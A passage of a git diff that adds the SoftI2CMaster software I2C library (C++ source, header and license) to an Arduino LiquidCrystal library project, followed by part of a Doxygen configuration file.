GOODS OR SERVICES; +LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND +ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster_/SoftI2CMaster.cpp b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster_/SoftI2CMaster.cpp new file mode 100644 index 0000000..f836696 --- /dev/null +++ b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster_/SoftI2CMaster.cpp @@ -0,0 +1,328 @@ +/* + * SoftI2CMaster.cpp -- Multi-instance software I2C Master library + * + * + * 2010-12 Tod E. Kurt, http://todbot.com/blog/ + * + * This code takes some tricks from: + * http://codinglab.blogspot.com/2008/10/i2c-on-avr-using-bit-banging.html + * + * 2014, by Testato: update library and examples for follow Wire’s API of Arduino IDE 1.x + * + */ + +#if (ARDUINO >= 100) +#include +#else +#include +#endif + +#include "SoftI2CMaster.h" + +#include +#include + +#define i2cbitdelay 50 + +#define I2C_ACK 1 +#define I2C_NAK 0 + + +#define i2c_scl_release() \ + *_sclDirReg &=~ _sclBitMask +#define i2c_sda_release() \ + *_sdaDirReg &=~ _sdaBitMask + +// sets SCL low and drives output +#define i2c_scl_lo() \ + *_sclPortReg &=~ _sclBitMask; \ + *_sclDirReg |= _sclBitMask; + +// sets SDA low and drives output +#define i2c_sda_lo() \ + *_sdaPortReg &=~ _sdaBitMask; \ + *_sdaDirReg |= _sdaBitMask; + +// set SCL high and to input (releases pin) (i.e. change to input,turnon pullup) +#define i2c_scl_hi() \ + *_sclDirReg &=~ _sclBitMask; \ + if(usePullups) { *_sclPortReg |= _sclBitMask; } + +// set SDA high and to input (releases pin) (i.e. change to input,turnon pullup) +#define i2c_sda_hi() \ + *_sdaDirReg &=~ _sdaBitMask; \ + if(usePullups) { *_sdaPortReg |= _sdaBitMask; } + + +// +// Constructor +// +SoftI2CMaster::SoftI2CMaster() +{ + // do nothing, use setPins() later +} +// +SoftI2CMaster::SoftI2CMaster(uint8_t sclPin, uint8_t sdaPin) +{ + setPins(sclPin, sdaPin, true); + i2c_init(); +} + +// +SoftI2CMaster::SoftI2CMaster(uint8_t sclPin, uint8_t sdaPin, uint8_t pullups) +{ + setPins(sclPin, sdaPin, pullups); + i2c_init(); +} + +// +// Turn Arduino pin numbers into PORTx, DDRx, and PINx +// +void SoftI2CMaster::setPins(uint8_t sclPin, uint8_t sdaPin, uint8_t pullups) +{ + uint8_t port; + + usePullups = pullups; + + _sclPin = sclPin; + _sdaPin = sdaPin; + + _sclBitMask = digitalPinToBitMask(sclPin); + _sdaBitMask = digitalPinToBitMask(sdaPin); + + port = digitalPinToPort(sclPin); + _sclPortReg = portOutputRegister(port); + _sclDirReg = portModeRegister(port); + + port = digitalPinToPort(sdaPin); + _sdaPortReg = portOutputRegister(port); + _sdaDirReg = portModeRegister(port); + +} + +// +// +// +uint8_t SoftI2CMaster::beginTransmission(uint8_t address) +{ + i2c_start(); + uint8_t rc = i2c_write((address<<1) | 0); // clr read bit + return rc; +} + +// +uint8_t SoftI2CMaster::requestFrom(uint8_t address) +{ + i2c_start(); + uint8_t rc = i2c_write((address<<1) | 1); // set read bit + return rc; +} +// +uint8_t SoftI2CMaster::requestFrom(int address) +{ + return requestFrom( (uint8_t) address); +} + +// +uint8_t SoftI2CMaster::beginTransmission(int address) +{ + return beginTransmission((uint8_t)address); +} + +// +// +// +uint8_t SoftI2CMaster::endTransmission(void) +{ + i2c_stop(); + //return ret; // FIXME + return 0; +} + +// must be called in: +// slave tx event callback +// or after beginTransmission(address) +uint8_t SoftI2CMaster::write(uint8_t data) +{ + return i2c_write(data); +} + +// must be called in: +// slave tx event callback +// or after beginTransmission(address) +void SoftI2CMaster::write(uint8_t* data, uint8_t quantity) +{ + for(uint8_t i = 0; i < quantity; ++i){ + write(data[i]); + } +} + +// must be called in: +// slave tx event callback +// or after beginTransmission(address) +void SoftI2CMaster::write(char* data) +{ + write((uint8_t*)data, strlen(data)); +} + +// must be called in: +// slave tx event callback +// or after beginTransmission(address) +void SoftI2CMaster::write(int data) +{ + write((uint8_t)data); +} + +//-------------------------------------------------------------------- + + +void SoftI2CMaster::i2c_writebit( uint8_t c ) +{ + if ( c > 0 ) { + i2c_sda_hi(); + } else { + i2c_sda_lo(); + } + + i2c_scl_hi(); + _delay_us(i2cbitdelay); + + i2c_scl_lo(); + _delay_us(i2cbitdelay); + + if ( c > 0 ) { + i2c_sda_lo(); + } + _delay_us(i2cbitdelay); +} + +// +uint8_t SoftI2CMaster::i2c_readbit(void) +{ + i2c_sda_hi(); + i2c_scl_hi(); + _delay_us(i2cbitdelay); + + uint8_t port = digitalPinToPort(_sdaPin); + volatile uint8_t* pinReg = portInputRegister(port); + uint8_t c = *pinReg; // I2C_PIN; + + i2c_scl_lo(); + _delay_us(i2cbitdelay); + + return ( c & _sdaBitMask) ? 1 : 0; +} + +// Inits bitbanging port, must be called before using the functions below +// +void SoftI2CMaster::i2c_init(void) +{ + //I2C_PORT &=~ (_BV( I2C_SDA ) | _BV( I2C_SCL )); + //*_sclPortReg &=~ (_sdaBitMask | _sclBitMask); + i2c_sda_hi(); + i2c_scl_hi(); + + _delay_us(i2cbitdelay); +} + +// Send a START Condition +// +void SoftI2CMaster::i2c_start(void) +{ + // set both to high at the same time + //I2C_DDR &=~ (_BV( I2C_SDA ) | _BV( I2C_SCL )); + //*_sclDirReg &=~ (_sdaBitMask | _sclBitMask); + i2c_sda_hi(); + i2c_scl_hi(); + + _delay_us(i2cbitdelay); + + i2c_sda_lo(); + _delay_us(i2cbitdelay); + + i2c_scl_lo(); + _delay_us(i2cbitdelay); +} + +void SoftI2CMaster::i2c_repstart(void) +{ + // set both to high at the same time (releases drive on both lines) + //I2C_DDR &=~ (_BV( I2C_SDA ) | _BV( I2C_SCL )); + //*_sclDirReg &=~ (_sdaBitMask | _sclBitMask); + i2c_sda_hi(); + i2c_scl_hi(); + + i2c_scl_lo(); // force SCL low + _delay_us(i2cbitdelay); + + i2c_sda_release(); // release SDA + _delay_us(i2cbitdelay); + + i2c_scl_release(); // release SCL + _delay_us(i2cbitdelay); + + i2c_sda_lo(); // force SDA low + _delay_us(i2cbitdelay); +} + +// Send a STOP Condition +// +void SoftI2CMaster::i2c_stop(void) +{ + i2c_scl_hi(); + _delay_us(i2cbitdelay); + + i2c_sda_hi(); + _delay_us(i2cbitdelay); +} + +// write a byte to the I2C slave device +// +uint8_t SoftI2CMaster::i2c_write( uint8_t c ) +{ + for ( uint8_t i=0;i<8;i++) { + i2c_writebit( c & 128 ); + c<<=1; + } + + return i2c_readbit(); +} + +// read a byte from the I2C slave device +// +uint8_t SoftI2CMaster::i2c_read( uint8_t ack ) +{ + uint8_t res = 0; + + for ( uint8_t i=0;i<8;i++) { + res <<= 1; + res |= i2c_readbit(); + } + + if ( ack ) + i2c_writebit( 0 ); + else + i2c_writebit( 1 ); + + _delay_us(i2cbitdelay); + + return res; +} + +// FIXME: this isn't right, surely +uint8_t SoftI2CMaster::read( uint8_t ack ) +{ + return i2c_read( ack ); +} + +// +uint8_t SoftI2CMaster::read() +{ + return i2c_read( I2C_ACK ); +} + +// +uint8_t SoftI2CMaster::readLast() +{ + return i2c_read( I2C_NAK ); +} diff --git a/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster_/SoftI2CMaster.h b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster_/SoftI2CMaster.h new file mode 100644 index 0000000..a6109e8 --- /dev/null +++ b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster_/SoftI2CMaster.h @@ -0,0 +1,68 @@ +/* + * SoftI2CMaster.h -- Multi-instance software I2C Master library + * + * 2010-2012 Tod E. Kurt, http://todbot.com/blog/ + * 2014, by Testato: update library and examples for follow Wire’s API of Arduino IDE 1.x + * + */ + +#ifndef SoftI2CMaster_h +#define SoftI2CMaster_h + +#include + +#define _SOFTI2CMASTER_VERSION 13 // software version of this library + + +class SoftI2CMaster +{ + +private: + // per object data + uint8_t _sclPin; + uint8_t _sdaPin; + uint8_t _sclBitMask; + uint8_t _sdaBitMask; + volatile uint8_t *_sclPortReg; + volatile uint8_t *_sdaPortReg; + volatile uint8_t *_sclDirReg; + volatile uint8_t *_sdaDirReg; + + uint8_t usePullups; + + // private methods + + void i2c_writebit( uint8_t c ); + uint8_t i2c_readbit(void); + void i2c_init(void); + void i2c_start(void); + void i2c_repstart(void); + void i2c_stop(void); + uint8_t i2c_write( uint8_t c ); + uint8_t i2c_read( uint8_t ack ); + +public: + // public methods + SoftI2CMaster(); + SoftI2CMaster(uint8_t sclPin, uint8_t sdaPin); + SoftI2CMaster(uint8_t sclPin, uint8_t sdaPin, uint8_t usePullups); + + void setPins(uint8_t sclPin, uint8_t sdaPin, uint8_t usePullups); + + uint8_t beginTransmission(uint8_t address); + uint8_t beginTransmission(int address); + uint8_t endTransmission(void); + uint8_t write(uint8_t); + void write(uint8_t*, uint8_t); + void write(int); + void write(char*); + + uint8_t requestFrom(int address); + uint8_t requestFrom(uint8_t address); + uint8_t read( uint8_t ack ); + uint8_t read(); + uint8_t readLast(); + +}; + +#endif diff --git a/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster_/SoftI2CMaster_LICENSE.txt b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster_/SoftI2CMaster_LICENSE.txt new file mode 100644 index 0000000..91a4dc6 --- /dev/null +++ b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster_/SoftI2CMaster_LICENSE.txt @@ -0,0 +1,33 @@ + +Copyright (c) Tod E. Kurt, 2010-2015 + +--- + +LICENSE: +Creative Commons - Attribution - ShareAlike 3.0 +http://creativecommons.org/licenses/by-sa/3.0/ +See why we chose this license: http://www.inmojo.com/licenses/ + +This work is licensed under the Creative Commons Attribution-ShareAlike 3.0 Unported License. To view a copy of this license, visit http://creativecommons.org/licenses/by-sa/3.0/ or send a letter to Creative Commons, 444 Castro Street, Suite 900, Mountain View, California, 94041, USA. + + +This is a human-readable summary of the full license. + +You are free: +- to Share - to copy, distribute and transmit the work, and +- to Remix - to adapt the work + +Under the following conditions: +- Attribution - You must attribute the work in the manner specified by the author or licensor (but not in any way that suggests that they endorse you or your use of the work.) +- Share Alike - If you alter, transform, or build upon this work, you may distribute the resulting work only under the same, similar or a compatible license. + +With the understanding that: +- Waiver - Any of the above conditions can be waived if you get permission from the copyright holder. +- Other Rights - In no way are any of the following rights affected by the license: +-- your fair dealing or fair use rights; +-- the author's moral rights; and +-- rights other persons may have either in the work itself or in how the work is used, such as publicity or privacy rights. + +Notice - For any reuse or distribution, you must make clear to others the license terms of this work. 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Disable only in +# case of backward compatibilities issues. +# The default value is: YES. + +MARKDOWN_SUPPORT = YES + +# When enabled doxygen tries to link words that correspond to documented +# classes, or namespaces to their corresponding documentation. Such a link can +# be prevented in individual cases by putting a % sign in front of the word or +# globally by setting AUTOLINK_SUPPORT to NO. +# The default value is: YES. + +AUTOLINK_SUPPORT = YES + +# If you use STL classes (i.e. std::string, std::vector, etc.) but do not want +# to include (a tag file for) the STL sources as input, then you should set this +# tag to YES in order to let doxygen match functions declarations and +# definitions whose arguments contain STL classes (e.g. func(std::string); +# versus func(std::string) {}). This also make the inheritance and collaboration +# diagrams that involve STL classes more complete and accurate. +# The default value is: NO. + +BUILTIN_STL_SUPPORT = NO + +# If you use Microsoft's C++/CLI language, you should set this option to YES to +# enable parsing support. +# The default value is: NO. + +CPP_CLI_SUPPORT = NO + +# Set the SIP_SUPPORT tag to YES if your project consists of sip (see: +# http://www.riverbankcomputing.co.uk/software/sip/intro) sources only. Doxygen +# will parse them like normal C++ but will assume all classes use public instead +# of private inheritance when no explicit protection keyword is present. +# The default value is: NO. + +SIP_SUPPORT = NO + +# For Microsoft's IDL there are propget and propput attributes to indicate +# getter and setter methods for a property. Setting this option to YES will make +# doxygen to replace the get and set methods by a property in the documentation. +# This will only work if the methods are indeed getting or setting a simple +# type. If this is not the case, or you want to show the methods anyway, you +# should set this option to NO. +# The default value is: YES. + +IDL_PROPERTY_SUPPORT = YES + +# If member grouping is used in the documentation and the DISTRIBUTE_GROUP_DOC +# tag is set to YES then doxygen will reuse the documentation of the first +# member in the group (if any) for the other members of the group. By default +# all members of a group must be documented explicitly. +# The default value is: NO. + +DISTRIBUTE_GROUP_DOC = NO + +# If one adds a struct or class to a group and this option is enabled, then also +# any nested class or struct is added to the same group. By default this option +# is disabled and one has to add nested compounds explicitly via \ingroup. +# The default value is: NO. + +GROUP_NESTED_COMPOUNDS = NO + +# Set the SUBGROUPING tag to YES to allow class member groups of the same type +# (for instance a group of public functions) to be put as a subgroup of that +# type (e.g. under the Public Functions section). Set it to NO to prevent +# subgrouping. Alternatively, this can be done per class using the +# \nosubgrouping command. +# The default value is: YES. + +SUBGROUPING = YES + +# When the INLINE_GROUPED_CLASSES tag is set to YES, classes, structs and unions +# are shown inside the group in which they are included (e.g. using \ingroup) +# instead of on a separate page (for HTML and Man pages) or section (for LaTeX +# and RTF). +# +# Note that this feature does not work in combination with +# SEPARATE_MEMBER_PAGES. +# The default value is: NO. + +INLINE_GROUPED_CLASSES = NO + +# When the INLINE_SIMPLE_STRUCTS tag is set to YES, structs, classes, and unions +# with only public data fields or simple typedef fields will be shown inline in +# the documentation of the scope in which they are defined (i.e. file, +# namespace, or group documentation), provided this scope is documented. If set +# to NO, structs, classes, and unions are shown on a separate page (for HTML and +# Man pages) or section (for LaTeX and RTF). +# The default value is: NO. + +INLINE_SIMPLE_STRUCTS = NO + +# When TYPEDEF_HIDES_STRUCT tag is enabled, a typedef of a struct, union, or +# enum is documented as struct, union, or enum with the name of the typedef. So +# typedef struct TypeS {} TypeT, will appear in the documentation as a struct +# with name TypeT. When disabled the typedef will appear as a member of a file, +# namespace, or class. And the struct will be named TypeS. This can typically be +# useful for C code in case the coding convention dictates that all compound +# types are typedef'ed and only the typedef is referenced, never the tag name. +# The default value is: NO. + +TYPEDEF_HIDES_STRUCT = NO + +# The size of the symbol lookup cache can be set using LOOKUP_CACHE_SIZE. This +# cache is used to resolve symbols given their name and scope. Since this can be +# an expensive process and often the same symbol appears multiple times in the +# code, doxygen keeps a cache of pre-resolved symbols. If the cache is too small +# doxygen will become slower. If the cache is too large, memory is wasted. The +# cache size is given by this formula: 2^(16+LOOKUP_CACHE_SIZE). The valid range +# is 0..9, the default is 0, corresponding to a cache size of 2^16=65536 +# symbols. At the end of a run doxygen will report the cache usage and suggest +# the optimal cache size from a speed point of view. +# Minimum value: 0, maximum value: 9, default value: 0. + +LOOKUP_CACHE_SIZE = 0 + +#--------------------------------------------------------------------------- +# Build related configuration options +#--------------------------------------------------------------------------- + +# If the EXTRACT_ALL tag is set to YES, doxygen will assume all entities in +# documentation are documented, even if no documentation was available. Private +# class members and static file members will be hidden unless the +# EXTRACT_PRIVATE respectively EXTRACT_STATIC tags are set to YES. +# Note: This will also disable the warnings about undocumented members that are +# normally produced when WARNINGS is set to YES. +# The default value is: NO. + +EXTRACT_ALL = NO + +# If the EXTRACT_PRIVATE tag is set to YES, all private members of a class will +# be included in the documentation. +# The default value is: NO. + +EXTRACT_PRIVATE = NO + +# If the EXTRACT_PACKAGE tag is set to YES, all members with package or internal +# scope will be included in the documentation. +# The default value is: NO. + +EXTRACT_PACKAGE = NO + +# If the EXTRACT_STATIC tag is set to YES, all static members of a file will be +# included in the documentation. +# The default value is: NO. + +EXTRACT_STATIC = NO + +# If the EXTRACT_LOCAL_CLASSES tag is set to YES, classes (and structs) defined +# locally in source files will be included in the documentation. If set to NO, +# only classes defined in header files are included. Does not have any effect +# for Java sources. +# The default value is: YES. + +EXTRACT_LOCAL_CLASSES = YES + +# This flag is only useful for Objective-C code. If set to YES, local methods, +# which are defined in the implementation section but not in the interface are +# included in the documentation. If set to NO, only methods in the interface are +# included. +# The default value is: NO. + +EXTRACT_LOCAL_METHODS = NO + +# If this flag is set to YES, the members of anonymous namespaces will be +# extracted and appear in the documentation as a namespace called +# 'anonymous_namespace{file}', where file will be replaced with the base name of +# the file that contains the anonymous namespace. By default anonymous namespace +# are hidden. +# The default value is: NO. + +EXTRACT_ANON_NSPACES = NO + +# If the HIDE_UNDOC_MEMBERS tag is set to YES, doxygen will hide all +# undocumented members inside documented classes or files. If set to NO these +# members will be included in the various overviews, but no documentation +# section is generated. This option has no effect if EXTRACT_ALL is enabled. +# The default value is: NO. + +HIDE_UNDOC_MEMBERS = NO + +# If the HIDE_UNDOC_CLASSES tag is set to YES, doxygen will hide all +# undocumented classes that are normally visible in the class hierarchy. If set +# to NO, these classes will be included in the various overviews. This option +# has no effect if EXTRACT_ALL is enabled. +# The default value is: NO. + +HIDE_UNDOC_CLASSES = NO + +# If the HIDE_FRIEND_COMPOUNDS tag is set to YES, doxygen will hide all friend +# (class|struct|union) declarations. If set to NO, these declarations will be +# included in the documentation. +# The default value is: NO. + +HIDE_FRIEND_COMPOUNDS = NO + +# If the HIDE_IN_BODY_DOCS tag is set to YES, doxygen will hide any +# documentation blocks found inside the body of a function. If set to NO, these +# blocks will be appended to the function's detailed documentation block. +# The default value is: NO. + +HIDE_IN_BODY_DOCS = NO + +# The INTERNAL_DOCS tag determines if documentation that is typed after a +# \internal command is included. If the tag is set to NO then the documentation +# will be excluded. Set it to YES to include the internal documentation. +# The default value is: NO. + +INTERNAL_DOCS = NO + +# If the CASE_SENSE_NAMES tag is set to NO then doxygen will only generate file +# names in lower-case letters. If set to YES, upper-case letters are also +# allowed. This is useful if you have classes or files whose names only differ +# in case and if your file system supports case sensitive file names. Windows +# and Mac users are advised to set this option to NO. +# The default value is: system dependent. + +CASE_SENSE_NAMES = NO + +# If the HIDE_SCOPE_NAMES tag is set to NO then doxygen will show members with +# their full class and namespace scopes in the documentation. If set to YES, the +# scope will be hidden. +# The default value is: NO. + +HIDE_SCOPE_NAMES = NO + +# If the HIDE_COMPOUND_REFERENCE tag is set to NO (default) then doxygen will +# append additional text to a page's title, such as Class Reference. If set to +# YES the compound reference will be hidden. +# The default value is: NO. + +HIDE_COMPOUND_REFERENCE= NO + +# If the SHOW_INCLUDE_FILES tag is set to YES then doxygen will put a list of +# the files that are included by a file in the documentation of that file. +# The default value is: YES. + +SHOW_INCLUDE_FILES = YES + +# If the SHOW_GROUPED_MEMB_INC tag is set to YES then Doxygen will add for each +# grouped member an include statement to the documentation, telling the reader +# which file to include in order to use the member. +# The default value is: NO. + +SHOW_GROUPED_MEMB_INC = NO + +# If the FORCE_LOCAL_INCLUDES tag is set to YES then doxygen will list include +# files with double quotes in the documentation rather than with sharp brackets. +# The default value is: NO. + +FORCE_LOCAL_INCLUDES = NO + +# If the INLINE_INFO tag is set to YES then a tag [inline] is inserted in the +# documentation for inline members. +# The default value is: YES. + +INLINE_INFO = YES + +# If the SORT_MEMBER_DOCS tag is set to YES then doxygen will sort the +# (detailed) documentation of file and class members alphabetically by member +# name. If set to NO, the members will appear in declaration order. +# The default value is: YES. + +SORT_MEMBER_DOCS = YES + +# If the SORT_BRIEF_DOCS tag is set to YES then doxygen will sort the brief +# descriptions of file, namespace and class members alphabetically by member +# name. If set to NO, the members will appear in declaration order. Note that +# this will also influence the order of the classes in the class list. +# The default value is: NO. + +SORT_BRIEF_DOCS = NO + +# If the SORT_MEMBERS_CTORS_1ST tag is set to YES then doxygen will sort the +# (brief and detailed) documentation of class members so that constructors and +# destructors are listed first. If set to NO the constructors will appear in the +# respective orders defined by SORT_BRIEF_DOCS and SORT_MEMBER_DOCS. +# Note: If SORT_BRIEF_DOCS is set to NO this option is ignored for sorting brief +# member documentation. +# Note: If SORT_MEMBER_DOCS is set to NO this option is ignored for sorting +# detailed member documentation. +# The default value is: NO. + +SORT_MEMBERS_CTORS_1ST = NO + +# If the SORT_GROUP_NAMES tag is set to YES then doxygen will sort the hierarchy +# of group names into alphabetical order. If set to NO the group names will +# appear in their defined order. +# The default value is: NO. + +SORT_GROUP_NAMES = NO + +# If the SORT_BY_SCOPE_NAME tag is set to YES, the class list will be sorted by +# fully-qualified names, including namespaces. If set to NO, the class list will +# be sorted only by class name, not including the namespace part. +# Note: This option is not very useful if HIDE_SCOPE_NAMES is set to YES. +# Note: This option applies only to the class list, not to the alphabetical +# list. +# The default value is: NO. + +SORT_BY_SCOPE_NAME = NO + +# If the STRICT_PROTO_MATCHING option is enabled and doxygen fails to do proper +# type resolution of all parameters of a function it will reject a match between +# the prototype and the implementation of a member function even if there is +# only one candidate or it is obvious which candidate to choose by doing a +# simple string match. By disabling STRICT_PROTO_MATCHING doxygen will still +# accept a match between prototype and implementation in such cases. +# The default value is: NO. + +STRICT_PROTO_MATCHING = NO + +# The GENERATE_TODOLIST tag can be used to enable (YES) or disable (NO) the todo +# list. This list is created by putting \todo commands in the documentation. +# The default value is: YES. + +GENERATE_TODOLIST = YES + +# The GENERATE_TESTLIST tag can be used to enable (YES) or disable (NO) the test +# list. This list is created by putting \test commands in the documentation. +# The default value is: YES. + +GENERATE_TESTLIST = YES + +# The GENERATE_BUGLIST tag can be used to enable (YES) or disable (NO) the bug +# list. This list is created by putting \bug commands in the documentation. +# The default value is: YES. + +GENERATE_BUGLIST = YES + +# The GENERATE_DEPRECATEDLIST tag can be used to enable (YES) or disable (NO) +# the deprecated list. This list is created by putting \deprecated commands in +# the documentation. +# The default value is: YES. + +GENERATE_DEPRECATEDLIST= YES + +# The ENABLED_SECTIONS tag can be used to enable conditional documentation +# sections, marked by \if ... \endif and \cond +# ... \endcond blocks. + +ENABLED_SECTIONS = + +# The MAX_INITIALIZER_LINES tag determines the maximum number of lines that the +# initial value of a variable or macro / define can have for it to appear in the +# documentation. If the initializer consists of more lines than specified here +# it will be hidden. Use a value of 0 to hide initializers completely. The +# appearance of the value of individual variables and macros / defines can be +# controlled using \showinitializer or \hideinitializer command in the +# documentation regardless of this setting. +# Minimum value: 0, maximum value: 10000, default value: 30. + +MAX_INITIALIZER_LINES = 30 + +# Set the SHOW_USED_FILES tag to NO to disable the list of files generated at +# the bottom of the documentation of classes and structs. If set to YES, the +# list will mention the files that were used to generate the documentation. +# The default value is: YES. + +SHOW_USED_FILES = YES + +# Set the SHOW_FILES tag to NO to disable the generation of the Files page. This +# will remove the Files entry from the Quick Index and from the Folder Tree View +# (if specified). +# The default value is: YES. + +SHOW_FILES = YES + +# Set the SHOW_NAMESPACES tag to NO to disable the generation of the Namespaces +# page. This will remove the Namespaces entry from the Quick Index and from the +# Folder Tree View (if specified). +# The default value is: YES. + +SHOW_NAMESPACES = YES + +# The FILE_VERSION_FILTER tag can be used to specify a program or script that +# doxygen should invoke to get the current version for each file (typically from +# the version control system). Doxygen will invoke the program by executing (via +# popen()) the command command input-file, where command is the value of the +# FILE_VERSION_FILTER tag, and input-file is the name of an input file provided +# by doxygen. Whatever the program writes to standard output is used as the file +# version. For an example see the documentation. + +FILE_VERSION_FILTER = + +# The LAYOUT_FILE tag can be used to specify a layout file which will be parsed +# by doxygen. The layout file controls the global structure of the generated +# output files in an output format independent way. To create the layout file +# that represents doxygen's defaults, run doxygen with the -l option. You can +# optionally specify a file name after the option, if omitted DoxygenLayout.xml +# will be used as the name of the layout file. +# +# Note that if you run doxygen from a directory containing a file called +# DoxygenLayout.xml, doxygen will parse it automatically even if the LAYOUT_FILE +# tag is left empty. + +LAYOUT_FILE = + +# The CITE_BIB_FILES tag can be used to specify one or more bib files containing +# the reference definitions. This must be a list of .bib files. The .bib +# extension is automatically appended if omitted. This requires the bibtex tool +# to be installed. See also http://en.wikipedia.org/wiki/BibTeX for more info. +# For LaTeX the style of the bibliography can be controlled using +# LATEX_BIB_STYLE. To use this feature you need bibtex and perl available in the +# search path. See also \cite for info how to create references. + +CITE_BIB_FILES = + +#--------------------------------------------------------------------------- +# Configuration options related to warning and progress messages +#--------------------------------------------------------------------------- + +# The QUIET tag can be used to turn on/off the messages that are generated to +# standard output by doxygen. If QUIET is set to YES this implies that the +# messages are off. +# The default value is: NO. + +QUIET = NO + +# The WARNINGS tag can be used to turn on/off the warning messages that are +# generated to standard error (stderr) by doxygen. If WARNINGS is set to YES +# this implies that the warnings are on. +# +# Tip: Turn warnings on while writing the documentation. +# The default value is: YES. + +WARNINGS = YES + +# If the WARN_IF_UNDOCUMENTED tag is set to YES then doxygen will generate +# warnings for undocumented members. If EXTRACT_ALL is set to YES then this flag +# will automatically be disabled. +# The default value is: YES. + +WARN_IF_UNDOCUMENTED = YES + +# If the WARN_IF_DOC_ERROR tag is set to YES, doxygen will generate warnings for +# potential errors in the documentation, such as not documenting some parameters +# in a documented function, or documenting parameters that don't exist or using +# markup commands wrongly. +# The default value is: YES. + +WARN_IF_DOC_ERROR = YES + +# This WARN_NO_PARAMDOC option can be enabled to get warnings for functions that +# are documented, but have no documentation for their parameters or return +# value. If set to NO, doxygen will only warn about wrong or incomplete +# parameter documentation, but not about the absence of documentation. +# The default value is: NO. + +WARN_NO_PARAMDOC = NO + +# The WARN_FORMAT tag determines the format of the warning messages that doxygen +# can produce. The string should contain the $file, $line, and $text tags, which +# will be replaced by the file and line number from which the warning originated +# and the warning text. Optionally the format may contain $version, which will +# be replaced by the version of the file (if it could be obtained via +# FILE_VERSION_FILTER) +# The default value is: $file:$line: $text. + +WARN_FORMAT = "$file:$line: $text" + +# The WARN_LOGFILE tag can be used to specify a file to which warning and error +# messages should be written. If left blank the output is written to standard +# error (stderr). + +WARN_LOGFILE = + +#--------------------------------------------------------------------------- +# Configuration options related to the input files +#--------------------------------------------------------------------------- + +# The INPUT tag is used to specify the files and/or directories that contain +# documented source files. You may enter file names like myfile.cpp or +# directories like /usr/src/myproject. Separate the files or directories with +# spaces. See also FILE_PATTERNS and EXTENSION_MAPPING +# Note: If this tag is empty the current directory is searched. + +INPUT = "/Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal" + +# This tag can be used to specify the character encoding of the source files +# that doxygen parses. Internally doxygen uses the UTF-8 encoding. Doxygen uses +# libiconv (or the iconv built into libc) for the transcoding. See the libiconv +# documentation (see: http://www.gnu.org/software/libiconv) for the list of +# possible encodings. +# The default value is: UTF-8. + +INPUT_ENCODING = UTF-8 + +# If the value of the INPUT tag contains directories, you can use the +# FILE_PATTERNS tag to specify one or more wildcard patterns (like *.cpp and +# *.h) to filter out the source-files in the directories. +# +# Note that for custom extensions or not directly supported extensions you also +# need to set EXTENSION_MAPPING for the extension otherwise the files are not +# read by doxygen. +# +# If left blank the following patterns are tested:*.c, *.cc, *.cxx, *.cpp, +# *.c++, *.java, *.ii, *.ixx, *.ipp, *.i++, *.inl, *.idl, *.ddl, *.odl, *.h, +# *.hh, *.hxx, *.hpp, *.h++, *.cs, *.d, *.php, *.php4, *.php5, *.phtml, *.inc, +# *.m, *.markdown, *.md, *.mm, *.dox, *.py, *.f90, *.f, *.for, *.tcl, *.vhd, +# *.vhdl, *.ucf, *.qsf, *.as and *.js. + +FILE_PATTERNS = *.c \ + *.cc \ + *.cxx \ + *.cpp \ + *.c++ \ + *.java \ + *.ii \ + *.ixx \ + *.ipp \ + *.i++ \ + *.inl \ + *.idl \ + *.ddl \ + *.odl \ + *.h \ + *.hh \ + *.hxx \ + *.hpp \ + *.h++ \ + *.cs \ + *.d \ + *.php \ + *.php4 \ + *.php5 \ + *.phtml \ + *.inc \ + *.m \ + *.markdown \ + *.md \ + *.mm \ + *.dox \ + *.py \ + *.f90 \ + *.f \ + *.for \ + *.tcl \ + *.vhd \ + *.vhdl \ + *.ucf \ + *.qsf \ + *.as \ + *.js + +# The RECURSIVE tag can be used to specify whether or not subdirectories should +# be searched for input files as well. +# The default value is: NO. + +RECURSIVE = NO + +# The EXCLUDE tag can be used to specify files and/or directories that should be +# excluded from the INPUT source files. This way you can easily exclude a +# subdirectory from a directory tree whose root is specified with the INPUT tag. +# +# Note that relative paths are relative to the directory from which doxygen is +# run. + +EXCLUDE = + +# The EXCLUDE_SYMLINKS tag can be used to select whether or not files or +# directories that are symbolic links (a Unix file system feature) are excluded +# from the input. +# The default value is: NO. + +EXCLUDE_SYMLINKS = NO + +# If the value of the INPUT tag contains directories, you can use the +# EXCLUDE_PATTERNS tag to specify one or more wildcard patterns to exclude +# certain files from those directories. +# +# Note that the wildcards are matched against the file with absolute path, so to +# exclude all test directories for example use the pattern */test/* + +EXCLUDE_PATTERNS = + +# The EXCLUDE_SYMBOLS tag can be used to specify one or more symbol names +# (namespaces, classes, functions, etc.) that should be excluded from the +# output. The symbol name can be a fully qualified name, a word, or if the +# wildcard * is used, a substring. Examples: ANamespace, AClass, +# AClass::ANamespace, ANamespace::*Test +# +# Note that the wildcards are matched against the file with absolute path, so to +# exclude all test directories use the pattern */test/* + +EXCLUDE_SYMBOLS = + +# The EXAMPLE_PATH tag can be used to specify one or more files or directories +# that contain example code fragments that are included (see the \include +# command). + +EXAMPLE_PATH = + +# If the value of the EXAMPLE_PATH tag contains directories, you can use the +# EXAMPLE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp and +# *.h) to filter out the source-files in the directories. If left blank all +# files are included. + +EXAMPLE_PATTERNS = * + +# If the EXAMPLE_RECURSIVE tag is set to YES then subdirectories will be +# searched for input files to be used with the \include or \dontinclude commands +# irrespective of the value of the RECURSIVE tag. +# The default value is: NO. + +EXAMPLE_RECURSIVE = NO + +# The IMAGE_PATH tag can be used to specify one or more files or directories +# that contain images that are to be included in the documentation (see the +# \image command). + +IMAGE_PATH = + +# The 